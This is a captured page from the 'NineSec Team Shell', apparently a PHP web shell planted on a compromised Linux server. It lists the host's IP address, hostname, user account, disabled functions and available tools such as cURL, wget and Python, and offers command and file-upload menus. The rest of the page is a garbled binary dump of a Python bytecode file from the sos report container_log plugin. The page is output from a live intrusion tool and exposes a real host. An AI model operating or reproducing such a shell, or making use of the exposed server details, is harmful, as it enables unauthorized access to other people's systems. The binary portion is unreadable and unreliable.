NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/container_log.cpython-36.pyc
3

~�g*�@s2ddlZddlmZmZmZGdd�dee�ZdS)�N)�Plugin�IndependentPlugin�	PluginOptc@sTeZdZdZdZdZdZededgZefZe	dde
d	d
�gZdd�Zd
d�Z
dS)�ContainerLogz"All logs under /var/log/containersZ
container_logz/var/log/containers/z/var/log/pods/z	*/*.log.*z*/*/*.log.*�rotatedFz(also get rotated logs from /var/log/pods)�defaultZval_typeZdesccCsX|jd�r.|j|j�|jd�rT|j|j�n&|j|jd�|jd�rT|j|jd�dS)NZall_logsrz*.logz*.log.*)Z
get_option�
add_copy_spec�logdir�rotated_dirs�collect_subdirs�poddir)�self�r�#/usr/lib/python3.6/container_log.py�setups


zContainerLog.setupcCs0x*tj|�D]\}}}|j|j||��qWdS)z=Collect *.log files from subdirs of passed root path
        N)�os�walkrZ	path_join)r
�rootZglobZdir_name�_rrrr'szContainerLog.collect_subdirsN)�__name__�
__module__�__qualname__Z
short_descZplugin_namer	rr
�filesr�boolZoption_listrrrrrrrs

r)rZsos.report.pluginsrrrrrrrr�<module>s

NineSec Team - 2022